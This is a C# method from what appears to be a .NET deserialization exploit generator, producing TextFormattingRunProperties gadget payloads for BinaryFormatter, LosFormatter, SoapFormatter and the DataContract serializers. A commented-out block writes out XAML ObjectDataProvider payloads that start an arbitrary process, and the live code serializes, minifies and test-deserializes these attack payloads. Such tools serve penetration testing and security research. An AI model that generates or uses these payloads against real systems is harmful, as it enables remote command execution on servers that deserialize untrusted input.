public override object Generate(string formatter, InputArgs inputArgs) { // commented for future reference (research purposes) /* * Boolean hasArgs; * string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs); * * String cmdPart; * * * if (hasArgs) * { * cmdPart = $@"<System:String>"+ splittedCMD[0] + @"</System:String> * <System:String>""" + splittedCMD[1] + @""" </System:String>"; * } * else * { * cmdPart = $@"<System:String>" + splittedCMD[0] + @"</System:String>"; * } * * * string xaml_payload = @"<ResourceDictionary * xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" * xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" * xmlns:System=""clr-namespace:System;assembly=mscorlib"" * xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system""> * <ObjectDataProvider x:Key="""" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" > * <ObjectDataProvider.MethodParameters> * "+ cmdPart + @" * </ObjectDataProvider.MethodParameters> * </ObjectDataProvider> * </ResourceDictionary>"; * * * // This is a little bit shorter to use startinfo * if (hasArgs) * { * cmdPart = $@"<ProcessStartInfo FileName=""" + splittedCMD[0] + @""" Arguments=""" + splittedCMD[1] + @"""/>"; * } * else * { * cmdPart = $@"<ProcessStartInfo FileName=""" + splittedCMD[0] + @"""/>"; * } * * string xaml_payload = @"<ResourceDictionary * xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" * xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" * > * <ObjectDataProvider x:Key="""" MethodName=""Start""> * <ObjectDataProvider.ObjectInstance> * <Process xmlns=""clr-namespace:System.Diagnostics;assembly=system""> * <Process.StartInfo>" + cmdPart + @"</Process.StartInfo> * </Process> * </ObjectDataProvider.ObjectInstance> * </ObjectDataProvider> * </ResourceDictionary>"; */ if (xaml_url != "") { // this is when it comes from GenerateWithInit inputArgs.ExtraInternalArguments = new List <String> { "--variant", "3", "--xamlurl", xaml_url }; } //SerializersHelper.ShowAll(TextFormattingRunPropertiesGadget(inputArgs)); if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("SoapFormatter", StringComparison.OrdinalIgnoreCase)) { return(Serialize(TextFormattingRunPropertiesGadget(inputArgs), formatter, inputArgs)); } else if (formatter.Equals("NetDataContractSerializer", StringComparison.OrdinalIgnoreCase)) { string utfString = System.Text.Encoding.UTF8.GetString((byte [])SerializeWithNoTest(TextFormattingRunPropertiesGadget(inputArgs), formatter, inputArgs)); string payload = SerializersHelper.NetDataContractSerializer_Marshal_2_MainType(utfString); if (inputArgs.Minify) { if (inputArgs.UseSimpleType) { payload = XMLMinifier.Minify(payload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, null, FormatterType.NetDataContractXML, true); } else { payload = XMLMinifier.Minify(payload, null, null, FormatterType.NetDataContractXML, true); } } if (inputArgs.Test) { try { SerializersHelper.NetDataContractSerializer_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else if (formatter.ToLower().Equals("DataContractSerializer", StringComparison.OrdinalIgnoreCase)) { inputArgs.CmdType = CommandArgSplitter.CommandType.XML; string payload = ""; if (hasRootDCS) { payload = SerializersHelper.DataContractSerializer_Marshal_2_MainType(SerializersHelper.DataContractSerializer_serialize(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs)), "root", "type", typeof(TextFormattingRunProperties)); } else { payload = SerializersHelper.DataContractSerializer_Marshal_2_MainType(SerializersHelper.DataContractSerializer_serialize(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs))); } if (inputArgs.Minify) { payload = XMLMinifier.Minify(payload, null, null, FormatterType.DataContractXML, true); } if (inputArgs.Test) { try { if (hasRootDCS) { SerializersHelper.DataContractSerializer_deserialize(payload, "", "root", "type"); } else { SerializersHelper.DataContractSerializer_deserialize(payload, typeof(TextFormattingRunProperties)); } } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else { throw new Exception("Formatter not supported"); } }